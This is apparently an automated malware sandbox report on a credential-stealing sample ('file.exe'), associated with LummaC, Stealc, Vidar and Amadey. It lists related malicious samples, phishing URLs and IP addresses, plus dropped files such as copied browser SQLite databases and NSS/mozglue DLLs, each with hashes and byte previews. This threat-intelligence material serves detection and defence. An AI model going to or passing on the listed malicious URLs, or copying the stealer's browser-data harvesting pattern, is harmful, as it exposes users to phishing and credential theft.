	http://jxmyd.suqta.com/4nsGrI18106lWUE1607jyvideacqg14494SGKJLESOMEKEJOQ394780IDFE21030X12#1k9rgx511cutjg9iwb06kzgd85r0s0asy0pnafn62q6a7ea7zk	Get hash	malicious	Unknown	Browse	23.206.229.226
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	23.206.229.226
28a2c9bd18a11de089ef85a160da29e4	https://bartolomejdolez.samcart.com/products/59056894	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 184.28.90.27 40.126.32.68
	https://www.canva.com/design/DAGVsvWsNbI/iZzU0BNPZvRGZSXgumDARw/view?utm_content=DAGVsvWsNbI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68
	http://dse_NA4@docusign.net	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68
	http://heptagon-olive-l8hr.squarespace.com	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68
	securedoc_20241104T081116.html	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68
	#U25b6#Ufe0fVoice_mail_02309_wav0015.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	52.149.20.212 184.28.90.27 40.126.32.68
	Otc Workforce Review & Compensation d1tj7WVZ.pdf	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68
	https://appdata.lclouds.pro	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	52.149.20.212 184.28.90.27 40.126.32.68
	https://www.canva.com/design/DAGV5EObRdI/I7eos98ZtlH9jC4ToJM3Lw/view?utm_content=DAGV5EObRdI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.68
	Play-Audio_Vmail_Ach Statement Credi....html	Get hash	malicious	HtmlDropper	Browse	52.149.20.212 184.28.90.27 40.126.32.68
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	yPSjWvD9LD.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	3.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	0TokOhBLe6.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	8M4DsnNkuP.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKEGDAKEHJDHIDHJJDAECFBKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGHIJEHJDHIDHIDAEHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAEBFIIECBGCBGDHCAFCGDBGCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFIIEHJDBKJKECBFHDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EBAKFIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264744825667503
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMISAELyKOMq+8QTQKC+CVumf:K0q+n0JI9ELyKOMq+8Q7I
MD5:	3F3F615D2BF2309E96FBD6EA7F65AC19
SHA1:	23E94D55B3697BD00A96810A59D90B15452D7887
SHA-256:	9760904FA688270A754C24D6E8035922C5172EB6DAE74F276E76F50C5B4F2601
SHA-512:	3F44B93C4E0BA483ACC7572909D34A41E9E545B2CF752B72D951AB950526610E2258E8B9F6D0137A41404302631D1234DFB0790744EA66B45E644432947329B0
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDBGDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKECBGIIIEBGCBGIDHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 8M4DsnNkuP.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ae09953578.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\232b5db6-9fb5-4f13-aa16-54b0ce9e2dad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44719
Entropy (8bit):	6.096235797910026
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xJCLmZYN57s8sKCvETEcKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7yOIL71KoRTuiVIos
MD5:	1C7B8169E4531E784C45EFDB13A57EBF
SHA1:	7503D40C856E662AD919A1A835FA1832B38738B3
SHA-256:	14502C64F129A9589025285A35AFF9F822F120FE68479BE9CAB5DD44E931D8F5
SHA-512:	E83205E3716ED1B4AB3390D4940D683A631345113548623EAEFA8CBA38516C84CFAEF88757B78D292DABB37A1262EC2D2EC615C8A5F112189131181F4C645AC3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\45bc7c53-ba5b-4b14-86fb-68dd0e48d0c4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44637
Entropy (8bit):	6.096171271572019
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kXCLmZYN57sS8UAbMEiKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynWL7FKoRTuiVIos
MD5:	28BDB950CAE07EB91A1E4B278AD82129
SHA1:	47EB1F821AA5F5D8DC4AFC129E2C298F5FEF404D
SHA-256:	EC0957445FC84D1052B2215022D84F9D9F0BC1161591AA5E5723ACC21C2C6116
SHA-512:	60E04176920EA800AD88E9587AF1C59625C63237E5CBD11CD10B8FAEC0FE1DF6E9F981750DB83C2090F30D7722BE06F61D2EA07E657925C018333946C9941920
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7119a4b5-8826-47fd-94f9-adb2e14628c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45834
Entropy (8bit):	6.089277454776373
Encrypted:	false
SSDEEP:	768:MMkbJrT8IeQcrQgxXj/LmZYN57s8sKCvETEcyRxi0gC1oGwWE7RTupzKscDX//N2:MMk1rT8HRXbL71s40gIoGoRTuiQ
MD5:	E359A93D67A8534A696E6F95BF8B56FE
SHA1:	7B98B8B86B459AFED44E4CC2B5169B26910F9EE3
SHA-256:	B5BC8A40D4826196E43DF8BD9086D42BF8C13780E62774706A721974F3D7A167
SHA-512:	5BAFB1FB04DA5F82A5138847DEF20828B3F87D04705881CB225361A90057F927E0C4E9A57BFA1D7B9C4D5A9DF8ACB357EDF77E07D037F48C06E5DBDEC6CF94DF
Malicious:	false
